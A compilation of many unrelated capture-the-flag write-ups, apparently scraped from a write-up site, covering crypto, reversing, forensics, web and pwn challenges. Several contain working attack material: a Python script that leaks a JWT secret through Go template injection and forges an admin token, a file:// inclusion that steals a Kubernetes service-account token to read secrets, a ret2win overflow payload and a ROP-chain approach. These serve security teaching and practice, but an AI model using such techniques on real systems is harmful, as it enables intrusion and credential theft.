1062789633774349417938788353001516763303743389381120380522262327123099728631034935663418832664265833959487018276693680850987382421521055508477988016246558095545925414048663082368488342633334571240563]p_list = [1189933229053113361422958527792232151, 295185057334340451492588650872876746227, 88380889077762105057154017276462714444697, 43974782968656404951924524450501283426052127, 7832299017937880395583715032476962329929226581, 1656848589754467667368312855929759764100120657831, 385788223643735590500185001710758495904528462058461, 135813272566456906193934636644217527100917542578856697, 41680117092754807988080699273322244961911189757589699867, 9419832152875820180139633405089278278408407453522978357309, 1567597041534155679238655992215022394597376421096298363211067, 350121371461894793578110243222665782247737840410076591434903787, 103424977238409568447978495499643051307907366367259219393937014631, 43449898447639409732732812916430042263570178747794530133229640125923, 12445294229358634680867170058509842935273054334385354032543323581223253, 3200631836176555526009533059891690177091538103904679780020639896015937897, 317277895959173163347650321012213555955385929418622006880521870012130207557, 102366458668689911004027849640392002821642295855327735994412634235696717329671, 26984206512970181742033712455904984758134288864531714209886622060356697128804201, 4479430800690915874719403516331677127806963529247809966024777708496270901092401687, 1328165608715012145707239303399129070657427496129541416861187541092152796676371237057, 368461902207817023013078031477042541053987571003677386333567043030477451518424731838173, 206721456778089912780641186795393376537372828449722520397829606593267585681448641482345737, 59471978701477648587546053450213894562580907285714122639903144859545186463681183925646967041, 15115713372931874518523751684548940147062395364112500028355694776530968944848166318295947674571, 5952590790902091635268726673538951527433355660839816621733964706901441977862333411532558667717227, 1086686910531802445146659484012613083647370307628438760118376029969836222533970554565751069314622539]q_list = [953730950786751671162019537171974567, 232079231415308325450092906880606082069, 88067722275537586769787599991567203589751, 24335212484189159197840692460327461505035059, 10726403821316775206273675267109184566904426261, 2714357008989072105081411295741540337141142641741, 576581905150085393327734090419529952232186498060949, 140758317578347635848563045232314610161039815135897421, 37185691759470013533730603170661686570987787098353146897, 6623023178993627032758350846838617937710601663528839184727, 954412804126450754097808991490470782833291028309980575506163, 367712839396521757736384350030802803477965822058616833553305103, 66882708962198932251728043152245270662769508317424500666902658099, 46014074200352892806829193743016415423205917845271691428043440245531, 11136261905010083405430254612464029672882837025885682392810368001188527, 2623629589005115152329094552749299711026240699896424120660145647226563547, 262775599542220820608778738911414710660835549772895468394761119434220071003, 104379442774418262390337411577160146519860415840398189010112686742489182665577, 15874438801602936764330936047390981280096007684699625987478211613419079727910193, 5467527956822382309398095704409409074818664888285375307055715842283183939297839923, 1692196606246085729483398884059069884182535824953762329164855466589577530953493347747, 428750921047556327595864876619292414694543668237320723518704707914310601565770504401619, 212549643149353357950643557614966235999942509894271006476145929120541407503538644651435909, 43870497594014737833600078975099212558645315030912084285417550950854483979406797450479252891, 14702310219802004876082313481498680940324963613770096574742182597840558294030859405666549879531, 7541333580839789645678699855290145212677767915429008863004397257213367753100058966625356835737037, 978009050697262759337388871320370165458800566798280419667959552859180906066907114053826258140106617]def lenTable(cip): bitLen = len(bin(cip)) - 2 if bitLen > 400: return 1 elif bitLen > 350: return 5 else: return 10
def factorize(p,q,N,depth,cip): assert p * q == N p_roots = mod(cip, p).nth_root(e, all=True) q_roots = mod(cip, q).nth_root(e, all=True) s1 = list() for xp in p_roots: for xq in q_roots: x = crt([Integer(xp), Integer(xq)], [p,q]) x = int(x) if len(s1) < lenTable(cip): s1.append(x) elif x < s1[0]: s1[lenTable(cip) - 1] = x s1.sort() flag = long_to_bytes(x) if flag.startswith(b"wsc"): print(flag.decode()) if depth != 26: for num in s1: factorize(p_list[len(p_list) - 1 - (depth + 1)], q_list[len(q_list) - 1 - (depth + 1)], N_list[len(q_list) - 1 - (depth + 1)], (depth + 1), num)
if __name__ == "__main__": factorize(p_list[len(p_list) - 1], q_list[len(q_list)-1], N_list[len(q_list)-1], 0, cipher)```### Notes
The initial idea was to make the optimization needed to find the flag, however this would likely lead to people with very great computing power to be able to still use the sole DFS algorithm without the e optimization. Therefore, the optimization is just a bonus idea. It is most useful when trying to replicate the results of the challenge. Sage remembers factors, so when running the scripts a second time the non-optimized one takes a minute whereas the optimized one takes 5 seconds on my machine. Maybe someone could force this optimization in a challenge of their own! If 10 bits were added instead of 9 then we would not even need a DFS, and could do it linear with the smallest candidate decryption each time. However, the idea for this challenge was to incorporate a DFS but to be able to use the optimization as assistance.
Will add more mathmatical explinations for this algorithm soon!
|
The title receives an executable file and executes it in the qiling environment. The topic examines the escape from the qiling environment. Qiling is a binary program execution environment based on unicorn. It implements syscall, binary loader and other operations, enabling it to execute executable programs across architectures and platforms. Through code auditing, it can be found that it lacks the judgment of path traversal when implementing the openat system call, so that rootfs can be bypassed. Using path traversal, we can read and write /proc/self/mem and getshell
|
## Challenge Name: ANYTHINGCategory: **Crypto** Difficulty: **Easy** Points: **100** Solves: **241**
Challenge Description: This could be encrypted with ANYTHING!`wfa{oporteec_gvb_ogd}`
### Approach
1.The flag seems to be encrypted by some 1:1 cipher, since there are still 3 letters before the flag. The challenge name and description imply that the word βAnythingβ might be useful to help decrypt this msg. Since the first letter is not encrypted, and the first letter of anything is an A, one might be able to deduce that this is a vigenere cipher. Putting it through a vigenere cipher on [dcode](https://www.dcode.fr/vigenere-cipher) yields the following results:

flag: `wsc{vigenere_not_bad}` |

The flag appears at a fixed position in the function, and you can use IDAPYTHON to iterate.```pythonimport idautilsadr=0x0000000000001161for i in range(999): tmp=adr+0x28 next=Dword(adr+0x35)+adr+0x39 a=Byte(tmp) if a!=0: print(chr(a),end='') adr=next&0xffff``` |
# VishwaCTF 2022## Hey Buddy!
**Challenge**
Hey Buddy, Give me your name I will display your name on my website. Yes exactly, there is nothing in this website. Url - https://h3y-buddy.vishwactf.com/
**Solution**
In this challenge, we are greeted on the website with a window that allows us to enter our name:

At first I went for a simple XSS payload:

But as successful as it was, it was a road to nowhere.Then I noticed that the creators of the task conveniently provided us with the sourcecode - there was a button on the main page that led to /source.txt:

To make sure that we are dealing with SSTI (Server Side Template Injection) I tried with a simple payload:

Success ^^ Now we can exploit this. After poking around and trying different payloads I was able to list files on the server:

I could also run commands like 'uname'. However it wasn't that simple to cat flag.txt - there was a problem with the space in the command - url encoding it didn't seem to work. After another few minutes I found payload that worked for me:

Yay, flag found :D Another way to do this was simply using $IFS in beetwen 'cat' and 'flag.txt'.
|
# Reverse Engineering : Wizard Like
## Description Do you seek your destiny in these deplorable dungeons? If so, you may want to look elsewhere. Many have gone before you and honestly, they've cleared out the place of all monsters, ne'erdowells, bandits and every other sort of evil foe. The dungeons themselves have seen better days too. There's a lot of missing floors and key passages blocked off. You'd have to be a real wizard to make any progress in this sorry excuse for a dungeon!
Download the [game](https://raw.githubusercontent.com/elemental-unicorn/picoctf-2022/master/reverse_eng/wizard-like/game).
'w', 'a', 's', 'd' moves your character and 'Q' quits. You'll need to improvise some wizardly abilities to find the flag in this dungeon crawl. '.' is floor, '#' are walls, '<' are stairs up to previous level, and '>' are stairs down to next level.
## Solve
Starting off by playing the game shows that your character piece `@` can be moved within the confines of the `#` walls and on sections that have `.` for floor. This means that the character is not able to traverse blank space.


Looking through the code there is what appears to be part of the map drawing code in a while loop with a get character condition lower down with our functions for movement and exit.

There is no obvious wins here so next is to check out the functions list and step through each to get an understanding of their functionality. There is one function in particular that appears to be controlling the bounds of movement on the map.

We can see that the function has an if statement that is checking for a space ` ` or a wall `#`. What if we change this to return the same condition `uVar = 1` for these conditions too? Will this let us move through walls and open spaces?

First we find the byte offset in the binary, in this case its `1657`.

Next we use `elfpatch` to locate the offset we want to patch and with what data. (_This could also be completed with a hex editor_)

As the diff above shows, the binary has been patched in the expected location.
Running the patched binary we are able to now travel through walls (`#`) and over spaces (` `) that we previously could not.

Using this new "power" and the existing level transition points (`<` and `>`) we can derive the key as it is printed as the map.

## Flag
`picoCTF{ur_4_w1z4rd_03712109}` |
# WolvSec Security Conference 2022 - `web/autoraider`
- [Challenge Description](#Challenge-Description)- [Solution Summary](#Solution-Summary)- [Challenge Analysis](#Challenge-Analysis)- [Solution Walkthrough](#Solution-Walkthrough)- [Solve Script](#Solve-Script)
The challenge source and `docker-compose.yml` is available [here](https://github.com/Nolan1324/autoraider-wolvsec-ctf).
This is my writeup for Autoraider, a web challenge I wrote for the 2022 WolvSec Security Conference. It is inspired by [autograder.io](https://autograder.io/), a website used in EECS classes at the University of Michigan to automatically grade project code.
## Challenge DescriptionMy EECS 982 project is due tonight, and I haven't started it! Can you help me out?
## Solution SummaryLeak the result of a given test by having your code throw an error when the autograder tests the next input. If an error is thrown, than the guess was correct. If an error was not thrown, than the guess was incorrect.
## Challenge Analysis
### The Website
The website features a fake project for a fake EECS class. It instructs the user to "read the project spec", "submit to the autograder", and "get the flag".
The project spec pages contains the following.
> There has been a lot of cutting edge research going on around using computers to read minds! You will be applying these techniques to read my mind by providing the answers to some yes/no questions about a given person in the world. Should be easy!> > This project will be written entirely in Javascript and will be submitted via text.>> Download the starter code.>> Your code should correctly implement the oracle(personId, questionNumber) function. This function shall return the answer to the question indexed by questionNumber for the person indexed by personIndex. People on Earth are indexed by birth date, where personIndex = 0 has the earliest birth date. Return the boolean true if the answer is "yes" and false if the answer is no. If personId is greater than 7754000, then the person has not been born yet and you should return false. Each question is associated with a question number (starting at 0).
Downloading the starter code provides the following:
```javascript// REQUIRES: // question_number and personId are integers// 0 <= question_number < 30// MODIFIES: nothing// EFFECTS: invokes an oracle and returns the correct answer to// the question indexed by question_number for the person identified by personId// a return value of true indicates yes, and a return value of false// indicates no// if personId > 7754000, should return false//// Hint 1: apply the Cosmic Computation (CC) paradigm// Hint 2: consider the core principles of Tarot readings// Hint 3: try to traverse by pointerfunction oracle(personId, questionNumber) { return false;}```
So it seems that for this "project" we need to write code that computes the answers to arbitrary yes/no questions about some person in the world. Obviously this is not possible, so the challenge will be to exploit the autograder in order to get the flag.
The autograder page greets the user with a text box and some information.

Copy-pasting and submitting the starter code is a good sanity check to ensure the autograder works as intended before diving into the source. Doing so should redirect the user to the submission page.

At this point they may either choose to grade that submission or submit again.
If the code threw an error than an error message is returned instead.

If the user chooses to grade their submission, they will be granted the flag if the submission is correct. Otherwise, they receive a message stating that they failed and that the correct answers have been shuffled.
### Answer Generation
Whenever the client makes a request to the server and the client's session has no `answers` value, correct answers will be generated with the following function.
```javascriptfunction generateAnswers() { answers = { 'person': Math.floor(Math.random() * 7753000), // Random person in the world 'responses': [] }; for(let i = 0; i < NUM_QUESTIONS; i++) { answers.responses.push(Math.random() > 0.5); } return answers;}```
This generates a random `personId`. It also generates random `true` or `false` correct responses. `30` of these responses are generated, corresponding to the question numbers `0` through `29`. This information is then stored in the client's session.
### Code Upload `/upload`
The upload endpoint first stores our code in an endpoint and sets up a VM to run it using `vm2`.
```javascriptlet code = req.body.code;
const vm = new VM({ timeout: 50, allowAsync: false});```
Note that the VM has a timeout of 50 milliseconds and blocks async calls. So submitted code must run quickly and synchronously.
The test cases are now generated. The test cases are generated sequentially based on the correct answers stored in the user's session. The question numbers go from `0` to `29` in increasing order. A final test case, called the "edge case", is also generated at the end. Note that the correct answer of this test case is hardcoded to `false`.
```javascript// Test for correct responses for given person// Correct answers retrieved from user sessionconst person = req.session.answers.person;const responses = req.session.answers.responses;let testCases = responses.map((response, i) => { return {'person': person, 'questionNumber': i, 'correct': response}});// Add edge casetestCases.push( {'person': 9999999999, 'questionNumber': 0, 'correct': false})```
We now loop through the test cases in the order they were generated. The code is tested through the function `testCode`. If the code results in an error, an message error is returned to the client. If the code does not error but returns the incorrect answer, the testing finishes and the server redirects to the `submission.html` page. If the code returns the correct answer, the testing continues.
If the `for` loop completes without returning (no errors or incorrect answers) the `pass` variable is updated to `true` in the session, and the server redirects to the `submission.html` page.
```javascript// Go through each test casefor(i in testCases) { const testCase = testCases[i]; const result = testCode(vm, code, testCase.person, testCase.questionNumber, testCase.correct); if(result.error) { req.session.pass = false; res.send(result.message); return; } else if(!result.pass) { req.session.pass = false; res.redirect('submission.html'); return; }}req.session.pass = true;res.redirect('submission.html');```
The `testCode` function runs the user submitted code in the VM. It calls the `oracle` function with the parameters `person` and `questionNumber`. If `vm.run` returns an error, an error message is returned. Otherwise, the return value of `vm.run` is compared to the correct answer.
```javascriptfunction testCode(vm, code, person, questionNumber, correct) { ret = { message: '', error: false, pass: true }; try { const result = vm.run(`oracle(${person}, ${questionNumber});${code}`); if(typeof result !== 'boolean' || result !== correct) { ret.pass = false; } } catch { ret.message = 'Code threw error! Please resubmit!'; ret.error = true; ret.pass = false; } return ret;}```
### Grading Code `/grade`
This endpoint returns the flag if the `pass` session variable is `true`. Otherwise, it shuffles the correct answers.
So, if the latest submission to `/submit` passed, the flag is returned.
```javascriptif(req.session.pass || false) { res.send('Tests passed! Here is the flag: ' + FLAG);} else { req.session.answers = generateAnswers(); res.send('Tests failed. Correct answers have been changed!');}```
## Solution Walkthrough
### The Possibilities
Answer generation uses `Math.random()`. It seems like this generation is done correctly, and the generation always occurs when the session has no correct answers. There are 30 questions each with 2 possible answers, so there are 2^30=1073741824 possible combinations of answers. So brute forcing does not seem plausible.
The primary attack vector of this challenge appears to be the code submission. We have control over exactly what code we submit, and we can submit as many times as we want before trying to reveal the flag.
The autograder uses the `vm2` library to run code. Reading through the [vm2 docs](https://github.com/patriksimek/vm2), it appears that the `VM` object is very secure and has no access to any of the resources in `node`. So it is unlikely that we will be able to break out of the VM and access the `FLAG` environment variable or global variable.
So, it seems that the only way to solve this challenge is to submit code that results in the `pass` session variable being set to `true`.
The `for` loop that runs through the test cases seems to always set `pass` to `false` unless all of the test cases truly pass. The function that checks if our code returns the correct answer also seems to be implemented properly. So there likely is no way to get `pass` to be `true` without actually knowing the correct answers and submitting code that returns them for each `questionNumber`.
### An Idea
So how could we possibly know the correct answers? One key observation is that we can submit as many times as we want before attempting to reveal the flag. So there may a way to submit code that allows us to learn something about the correct answers.
### An Observation
Let's look back at the main `for` loop that tests our code. The loop tests the function in our code on each test case one by one. If **any** of the test cases fail, then the autograder stops testing our code. Additionally, if any of the tests throws an error, the autograder sends an error message to the client. We could exploit these two features of the autograder in order to determine if a given test case passed or failed.
### The Solution
Let's say we have our code return `false` for when `questionNumber == 0`. The correct answer may be either `true` or `false`; we are just guessing that it is `false`. If our guess is correct, then the test will pass and the autograder will continue and test our code for question `1`. If our guess is incorrect, then the test will fail, the autograder will stop, and the server will return "Submitted" to the client.
This is where the exploit comes in. We can have our code throw an error (either by `throw` or returning an undefined variable) for when `questionNumber == 1`. So, if our guess was correct, the autograder will run our error code and return "Code throw error!" to the client. If our guess was incorrect, the autograder will stop and return "Submitted" to the client. So, we can use the output to determine if our guess for the answer to question `0` was correct or not!
Ironically, an error indicates that our guess was correct, and a successful submission indicates our guess was wrong.
We can then repeat this process to figure out the answer to each question. For example, let's say we know the correct answers for questions `0` to `9` (inclusive), and are trying to figure out the correct answer to question `10`. Then our code should return the correct answers for `0` to `9`, return a guess of `false` for question `10`, and then return an error on question `11`.
This is a visualization of what happens when the autograder tests our code, depending on if our guess of `false` for question `10` was correct or not.

This will work until the last question, question `29`. It seems that there is no way to figure out the output to this question, since there is no question `30` to have return an error. Simply guessing is a viable strategy, since there is a 50/50 chance of guessing correct. However, remember that the autograder runs one more test case after question `29`: the "edge case" test, where a large `personId` is passed and the correct answer is always `false`. So, we can have our code throw an error for this edge, and use that to figure out if our guess to question `29` is correct using the same method as before.
Finally, we know from the project spec and source that the answer to the final test case (the "edge case") is always `false`, so we do not need to figure out the answer.
Once we figure out all of the answers, we can submit code that simply returns the correct answer for each `questionNumber` and the edge case. This code should pass all the test cases, so then we can make a request to the `/grade` endpoint and get the flag!
## Solve Script
The number of questions (30) was chosen such that manually figuring out each answer was not too unreasonable, but writing a solve script was desirable to save time. This is my solve script written in Python that accomplishes the solution process outlined above.
```pythonimport requests
url_base = 'https://autoraider-bvel4oasra-uc.a.run.app/'
# Set up a session since the correct answers and pass status are stored in a sessions = requests.Session()
# Uploads code to the autograderdef upload_code(code): return s.post(url_base + 'upload', {'code': code}).text
# Converts list of answers to a Javascript array stringdef make_answer_str(answers): return '[' + ','.join(answers) + ']';
answers = []# Do from question 0 to question 28for i in range(29): answers_str = make_answer_str(answers); # Construct code submission # Returns correct answer for known answers # Returns guess of false for question i # Creates an error for question i+1 (returns an undefined variable) code = 'function oracle(p,q) { answers = ' + answers_str + '; if(q < answers.length) { return answers[q] } else if(q === answers.length) { return false } else { return a } }'; res = upload_code(code); # If grader reached our error, our assumption that the last answer was false is correct # Otherwise, the last answer was actually true answers.append('false' if 'error' in res else 'true');
# Use edge case (which we know the answer to) to figure out question 29# Returns correct answer for known answers# Returns guess of false for question 29# Creates an error for edge case (returns an undefined variable)answers_str = make_answer_str(answers);res = upload_code('function oracle(p,q) { answers = ' + answers_str + '; if(p > 7754000) { return a } else if(q < answers.length) { return answers[q] } else { return false } }');answers.append('false' if 'error' in res else 'true');
# Upload solutionanswers_str = make_answer_str(answers);upload_code('function oracle(p,q) { answers = ' + answers_str + '; if(p > 7754000) { return false } else { return answers[q] } }');
# Grade and print responseprint(s.get(url_base + 'grade').text)``` |
# Reversing : Keygenme
## Description Can you get the flag?
## Solve Running through the code in ghidra I was able to locate the comparison its doing with the provided user key and the expected characteristics about the key comparison.
The key is expected to be 36 chars long

The key starts with `picoCTF{br1ng_y0ur_0wn_k3y_` and ends with `}` leaving 8 bytes to work out

We can target the strlen function to get close to our comparison by opening the binary with GDB and setting a breakpoint for `strlen`

```bashbreak strlen```
Running the application now with a dummy key filling the blank space with `AAAAAAAA` will help us to process as the hex value of `A` is `0x41`.
```r << |
The URL holds an "API testing" webservice, which can execute HTTP requests.According to the "About" page, the service is hosted using Kubernetes and uses *Kubernetes Secrets*.
We can quickly find, the service supports not only `https://` but also the `file://` scheme and will show us the content of local files (*local file inclusion*).
Accessing `file:///etc/mtab` we find the following mountpoint:
tmpfs /run/secrets/kubernetes.io/serviceaccount tmpfs ro,relatime 0 0 Getting the content of `/run/secrets/kubernetes.io/serviceaccount/token` we get a JWT for the pod's serviceaccount whose payload is
```json{ "aud": [ "https://container.googleapis.com/v1/projects/intigriti-ctf/locations/europe-west1/clusters/ctf-challenge-cluster" ], "exp": 1678563987, "iat": 1647027987, "iss": "https://container.googleapis.com/v1/projects/intigriti-ctf/locations/europe-west1/clusters/ctf-challenge-cluster", "kubernetes.io": { "namespace": "default", "pod": { "name": "mailman-6cf46d68fb-68b4q", "uid": "27017847-da2f-4b54-aa42-b405826f1b2c" }, "serviceaccount": { "name": "mailman", "uid": "80dc4673-8097-47a6-b847-917a0cacfbbd" }, "warnafter": 1647031594 }, "nbf": 1647027987, "sub": "system:serviceaccount:default:mailman"}```
We should now try to access the Kubernetes API server.Add the token obtained above to the request as a bearer token (HTTP header `Autorization` with the value `Bearer xxx`) in the webinterface.The API server is always accessible within a pod at the domain name `kubernetes.default.svc` ([reference](https://kubernetes.io/docs/tasks/run-application/access-api-from-pod/#directly-accessing-the-rest-api))
Accessing https://kubernetes.default.svc/api/v1/namespaces/default/ (while using the bearer token) works succesfully.Unfortunately we do not have the permissions to read the secrets from the namespace (https://kubernetes.default.svc/api/v1/namespaces/default/secrets or https://kubernetes.default.svc/api/v1/namespaces/default/secrets/flag)
Maybe the flag is in a different namespace?By accessing `https://kubernetes.default.svc/api/v1/namespaces` we find the list of namespaces available in the cluster:
["ctf","default","gatekeeper-system","kube-node-lease","kube-public","kube-system","nginx-ingress","secretstuff"] The last one called `secretstuff` sounds promising. We look at the list of secrets in that one at `https://kubernetes.default.svc/api/v1/namespaces/secretstuff/secrets` and we can find the base64 encoded flag there
{"flag":"MTMzN1VQezAyODMzOTQyODNiODFmZjMwNzgwYzlmMWVmNTYyODQ1fQo="} which decodes to **1337UP{0283394283b81ff30780c9f1ef562845}** |
# The writeup may contain external images or files that I loaded in my github repository, please read it from the [original source](https://francesco-scar.github.io/CTF-writeups/24h@CTF/2022-02-05/Ecole_Cyber_1/) for a better viewing.
-----
# 24h@CTF [Desjardins] Γcole Cyber 1 Writeup
## Category
Cryptography
## Description
The challenge provides a [text file](challenge1.txt) with the following content
```?[8mL?[28m'Γ?[8mc?[28mol?[8me?[28mcy?[8mb?[28mer?[8m ?[28mes?[8mt?[28m u?[8mn?[28m o?[8mr?[28mga?[8mn?[28mis?[8mm?[28me ?[8mΓ ?[28m b?[8mu?[28mt ?[8mn?[28mon?[8m ?[28mlu?[8mc?[28mra?[8mt?[28mif?[8m ?[28mdo?[8mn?[28mt ?[8ml?[28ma ?[8mm?[28mis?[8ms?[28mio?[8mn?[28m e?[8ms?[28mt ?[8md?[28me ?[8md?[28mΓ©v?[8me?[28mlo?[8mp?[28mpe?[8mr?[28m l?[8me?[28m t?[8ma?[28mle?[8mn?[28mt ?[8me?[28mn ?[8ms?[28mΓ©c?[8mu?[28mri?[8mt?[28mΓ© ?[8ma?[28mu ?[8mQ?[28muΓ©?[8mb?[28mec?[8m.?[28m L?[8m'?[28mΓ©q?[8mu?[28mip?[8me?[28m e?[8ms?[28mt ?[8mc?[28mom?[8mp?[28mos?[8mΓ©?[28me ?[8md?[28me ?[8mp?[28mer?[8ms?[28mon?[8mn?[28mes?[8m ?[28mpa?[8ms?[28msi?[8mo?[28mnn?[8mΓ©?[28mes?[8m ?[28mpa?[8mr?[28m l?[8me?[28m d?[8mo?[28mma?[8mi?[28mne?[8m ?[28mde?[8m ?[28mla?[8m ?[28msΓ©?[8mc?[28mur?[8mi?[28mtΓ©?[8m ?[28met?[8m ?[28mde?[8m ?[28ml'?[8mΓ©?[28mdu?[8mc?[28mat?[8mi?[28mon?[8m.?[28m N?[8mo?[28mus?[8m ?[28mai?[8mm?[28mon?[8ms?[28m t?[8mr?[28man?[8ms?[28mme?[8mt?[28mtr?[8me?[28m n?[8mo?[28mtr?[8me?[28m p?[8ma?[28mss?[8mi?[28mon?[8m ?[28met?[8m ?[28mno?[8mu?[28ms ?[8md?[28mΓ©p?[8ml?[28moy?[8mo?[28mns?[8m ?[28mbΓ©?[8mn?[28mΓ©v?[8mo?[28mle?[8mm?[28men?[8mt?[28m b?[8me?[28mau?[8mc?[28mou?[8mp?[28m d?[8m'?[28mef?[8mf?[28mor?[8mt?[28ms ?[8mp?[28mou?[8mr?[28m a?[8mc?[28mco?[8mm?[28mpl?[8mi?[28mr ?[8mn?[28mot?[8mr?[28me ?[8mm?[28mis?[8ms?[28mio?[8mn?[28m. ?[8mF?[28mLA?[8mG?[28m{d?[8mb?[28mab?[8md?[28m60?[8m4?[28mf4?[8m7?[28mb0?[8ma?[28mcd?[8m8?[28mfd?[8m6?[28mf4?[8m3?[28m63?[8m2?[28m02?[8m3?[28ma9?[8m6?[28m}```
## Writeup
The text contains many terminal control codes, so we can just try to save the file `challenge1.txt` and print it in a terminal with
`cat challenge1.txt`
The command will print
```L'colecyber est un organisme but non lucratif dont la mission est de dvelopper le talent en scurit au Qubec. L'quipe est compose de personnes passionnes par le domaine de la scurit et de l'ducation. Nous aimons transmettre notre passion et nous dployons bnvolement beaucoup d'efforts pour accomplir notre mission. FLAG{dbabd604f47b0acd8fd6f43632023a96}
```
## Flag
`FLAG{dbabd604f47b0acd8fd6f43632023a96}`
-----
If you find errors or you want to contribute to this writeup go to the [GitHub repository](https://github.com/francesco-scar/CTF-writeups/tree/main/24h%40CTF/2022-02-05/Ecole_Cyber_1) or contact me [opening an issue](https://github.com/francesco-scar/CTF-writeups/issues). |
# XOR

```pythonimport os
FLAG = b'OFPPT-CTF{...REDACTED...}'
class HoneyComb: def __init__(self, key): self.vals = [i for i in key]
def turn(self): self.vals = [self.vals[-1]] + self.vals[:-1]
def encrypt(self, msg): keystream = [] while len(keystream) < len(msg): keystream += self.vals self.turn() return bytes([msg[i] ^ keystream[i] for i in range(len(msg))]).hex()
hc = HoneyComb(os.urandom(6))
print(hc.encrypt(FLAG))
```
first it creates a key of length 6 bytes then if lenght of key < lenght message it adds the of the key to another variable then it shifts the key
becuase the key is too small we know that the flag begin with OFPPT- we can xor first six bytes of ciphertext with first six bytes and we get the key then we can xor it with the ciphertext and every 6 bytes we can shift the key
```python from pwn import xor
plaintext =b'OFPPT-'ciphertext = bytes.fromhex('48ac3fe745bed053ac14ef2163cc70db58dfe862fe33860330dc22ea589c9f03d922e13365db038626eaee')
key = xor(plaintext, ciphertext[:6])keyst =[]for i in key : keyst.append(i)
keystream = []while len(keystream) < len(ciphertext): keystream += keyst keyst =[keyst[-1]] + keyst[:-1]
print(xor(keystream , ciphertext))
```
flag is : OFPPT-CTF{X0r_w17h_sm4ll_k3y_vuln3r4b1l17y} |
## Challenge Name: NoiseCategory: **Forensics** Difficulty: **Medium** Points: **498** Solves: **18**
Challenge Description: My buddy sent me this totally RAW clip of them playing guitar. Doesnβt sound quite right to me, something might be off. Also donβt listen with headphones at the end!
### ApproachThis challenge was based off of [Joshua Casper's](https://youtu.be/tU8WbB9vhDg) steganography idea!
While listening to the audio file, you can hear the audio has gotten corrupted towards the end of the recording. If you run strings on the file, it will output hidden comments:
This is hinting that you will need to view this as a raw file in photoshop. This is also hinted in the description with RAW being capitalized. To convert it to a raw file, change the file extension from ".wav" to ".raw". Then, when trying to open the file in photoshop you are presented with the following options:
 From the hint, we are given that the channels should be set to 1 and the depth should be set to 8 bits. These are also the default settings, so the hint was not necessarily needed.
flag: `wsc{t0t4lly_w1ck3d_dud3}` ### NoteAt least one team was able to do this without the use of photoshop, and just online tools. Will add this method to the writeup soon!
|
After analyzing the code, we can notice that we have a page in the application that displays the data entered by the user, namely his username.```gotemplate.New("").Parse("Logged in as " + acc.id)```Moreover, the input information is not filtered in any way.Check for SSTI capability using {{printf "%s" "ssti" }} and bingo, the server responded "Logged in as ssti".Let's try to use {{.}} to get the output of the data structure that will be passed as input to the template.The response to such a request would be: Logged in as {{{.}} test_password false fasdf972u1031xu90zm10Av}.
The data structure is:```gotype Account struct { id string pw string is_admin bool secret_key string}```So we got a secret_key, and now we can create jwt.
To automate, write a script on Python```pythonimport requests as rimport json import jwt
host = 'http://34.146.226.125'username = '{{.}}'password = 'test_password'
r.get(f'{host}/regist', {'id': username, 'pw': password})data = r.get(f'{host}/auth', {'id': username, 'pw': password}).content.decode()token = json.loads(data)['token']headers = {'X-Token': token}data = r.get(f'{host}/', headers=headers).content.decode()key = data.split()[-1][:-1]token = jwt.decode(token, algorithms='HS256', key=key)token['id'] = 'user'token['is_admin'] = Truetoken = jwt.encode(token, key=key, algorithm='HS256')headers = {'X-Token': token}data = r.get(f'{host}/flag', headers=headers)print(data.content.decode())```

|
# ropfu
## DescriptionWhat's ROP?Can you exploit the following [program](https://artifacts.picoctf.net/c/271/vuln) to get the flag? [Download source](https://artifacts.picoctf.net/c/271/vuln.c).nc saturn.picoctf.net 50985
## solution
Like it said in the hint, this challenge is a classic ROP challenge.We can use *checksec* to see that NX is enabled, so we can't use shellcode or put anything on the stack for execute it.So we need to build a ROPchain that uses syscall to get a shell.
Lucky us we have a tool that can help us with that - ROPgadget.```ROPgadget --binary ./vuln --ropchain```This tool gives us the payload we need.And here the final program:
```#python2.7
from pwn import *from struct import packp='a'*28p += pack(' |
## Challenge Name: babyRetCategory: PWNPoints: 244Solves: 107
Challenge Description: As promised a pwn challenge...
Artifact Files:* [ret0](ret0)* [ret0.c](ret0.c)
### Observations
The challenge gives us direct access to the source code of the program, so let's take a look at it !

We see that a **print_flag()** function is defined in the program but never used which is pretty peculliar let's say...
Looking at **main()** we can see that a **char[16]** buffer is created on the stack before the program prints *What is your favorite food?* to the user. It then takes input using **scanf("%s", buffer);** to load user input into our buffer.
The important thing to notice here is that there is absolutely no size check for the user input, while our buffer is limited to **16** chars of length.
This program is an ELF x64 bits and does not seem to have a lot of securities activated as shown here:

So our hypothesis is that any input longer than **16** of length might cause a Stack Buffer Overflow and lead to potential manipulation of **RIP** (instruction pointer).
We can test that out by inputing a bunch of As into our program and see if we get a **SEGFAULT**

And we do ! Let's check in gdb if we can overwrite **RIP** and control the program's execution flow.

Perfect ! Now we just have to manipulate rip to return to that **print_flag()** function which should print us the flag when executed on the remote.
### Exploitation
**1. Command line**
So first of all in order to return to **print_flag()** we need to know it's address. For that we can use *objdump -t ./ret0 | grep print_flag*

So we know the address of print_flag is 0x00000000004011b3 !
Now we need to find the correct offset to overwrite **RIP**, we can do this just by playing around with the payload length or by using a unique pattern so that we can find the exact offset by calculation. **gdb-peda** has an inbuilt pattern utility tool to help us do such a thing.
We can use the **pattern create 40** command to create a pattern of length 40 which should be enough to overflow our memory in this case.
Pattern : *AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAa*
Let's input it in the program and use **pattern search** to get the correct offset

We can see that we have a **24** offset until we reach the desired memory location we want to write to.
So we can build a payload with python as such :
python2 -c 'print "A"\*24 + "\xb3\x11\x40\x00\x00\x00\x00\x00"' | ./ret0
Let's try it out and see if we get to call the **print_flag()** function !

And it works ! Now we just need to pipe it into the remote host to get the actual flag of the challenge.

And we got our flag : **wsc{Th0s3_p3sky_STACKS!!!}**
**2. Python Script**
Just for good practice I wanted to include a python script to solve this challenge. The method is still the exact same, I just use the pwn.ELF() class from pwntools to load elf symbols and addresses from the binary and build the same payload :)
The *exploit.py* script :

And we get the same result just with a script and with a much cooler display :O

### Reflections
This is a beginner buffer overflow exploit challenge that's always nice and chill to solve when they're in the competition and teaches a lot to the new comers to the CTF scene, really lovely as usual !
That's it for this WriteUp of **babyRet** from *WolvSec 2022CTF*, I really hoped you enjoyed it since this is my first writeup ever so yeaaaah ! I'll probably try to do the other pwn challenges since I managed to pwn all of them so see ya in the next challenges I suppose :D
---[Back to home](../../README.md) |
# Sum-O-Primes## Description We have so much faith in RSA we give you not just the product of the primes, but their sum as well!
gen.pyoutput.txt
## SolveThis problem can be solved as we have the product and sum of the 2 primes. This can be achieve by using a quadratic equation.

Here we can calculate the square root value as `theta`
